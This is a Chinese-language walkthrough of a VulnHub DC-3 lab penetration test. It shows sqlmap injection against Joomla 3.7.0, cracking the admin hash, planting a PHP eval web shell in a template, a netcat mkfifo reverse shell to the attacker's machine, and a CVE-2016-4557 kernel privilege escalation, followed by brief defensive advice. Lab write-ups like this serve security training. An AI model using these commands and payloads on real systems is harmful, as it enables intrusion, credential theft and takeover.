记对VnlnHub_DC-3的一次渗透测试
字数 1034 2025-08-19 12:41:26
VulnHub DC-3渗透测试完整教学文档
1. 环境准备
1.1 靶机下载与配置
- 下载链接:百度网盘(提取码d9cz)
- 常见配置问题解决:
- 移除CD/DVD设备
- 修改网卡为NAT模式
1.2 网络扫描
arp-scan -l # 扫描同网段主机
nmap -T4 -A -p 0-65535 10.10.10.4 # 深度扫描目标
2. 信息收集
2.1 Web服务探测
- 发现开放80端口
- 使用dirb扫描目录:
dirb http://10.10.10.4
- 发现后台管理页面:
/administrator/
2.2 CMS识别
- 识别为Joomla CMS
- 使用JoomScan扫描:
joomscan -u http://10.10.10.4
- 确认版本:Joomla 3.7.0
3. 漏洞利用
3.1 SQL注入漏洞
- 搜索已知漏洞:
searchsploit joomla 3.7.0
-
发现漏洞说明文件:
/usr/share/exploitdb/exploits/php/webapps/42033.txt -
使用SQLMap进行攻击:
sqlmap -u "http://10.10.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
- 逐步爆破:
# 爆破数据表
sqlmap -u "http://10.10.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
# 爆破字段
sqlmap -u "http://10.10.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
# 爆破数据
sqlmap -u "http://10.10.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering]
- 获取到管理员凭据:
username: admin
password: $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
3.2 密码破解
- 使用John the Ripper破解哈希:
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > a.txt
john a.txt
- 获取明文密码:
snoopy
4. 获取WebShell
4.1 后台登录
- 使用凭证登录:
http://10.10.10.4/administrator/ - 用户名:admin
- 密码:snoopy
4.2 文件上传漏洞利用
- 导航路径:Extensions > Templates > Templates
- 选择Beez3模板
- 新建文件
shell.php并写入一句话木马:
<?php @eval($_POST[cmd]); ?>
- 保存文件
4.3 连接WebShell
- 访问路径:
http://10.10.10.4/templates/beez3/shell.php - 使用蚁剑连接,密码:cmd
5. 权限提升
5.1 反弹Shell
- 攻击机开启监听:
nc64.exe -lvvp 6666
- 目标机执行反弹命令:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.17 6666 >/tmp/f
- 获取交互式Shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
5.2 内核漏洞提权
- 上传漏洞检测脚本:
./linux-exploit-suggester.sh
- 发现CVE-2016-4557漏洞可利用
- 下载并上传漏洞利用代码(百度网盘提取码3ufi)
- 解压并编译:
unzip 39772.zip
cd 39772
tar -vxf exploit.tar
cd ebpf_mapfd_doubleput_exploit
chmod 777 compile.sh doubleput.c
./compile.sh
- 成功获取root权限
6. 获取Flag
cd /root
cat flag.txt
Flag内容:
V V Congratulations are in order. :-)
I hope you've enjoyed this challenge as I enjoyed making it.
If there are any ways that I can improve these little challenges,
please let me know.
As per usual, comments and complaints can be sent via Twitter to @DCAU7
Have a great day!!!!
关键工具总结
- arp-scan/nmap - 网络扫描
- dirb - 目录爆破
- joomscan - Joomla漏洞扫描
- sqlmap - SQL注入工具
- John the Ripper - 密码破解
- 蚁剑 - WebShell管理
- Netcat - 网络工具
- linux-exploit-suggester.sh - 本地提权检测
防御建议
- 及时更新CMS系统
- 对用户输入进行严格过滤
- 限制后台文件上传类型
- 定期更新操作系统内核
- 使用最小权限原则配置服务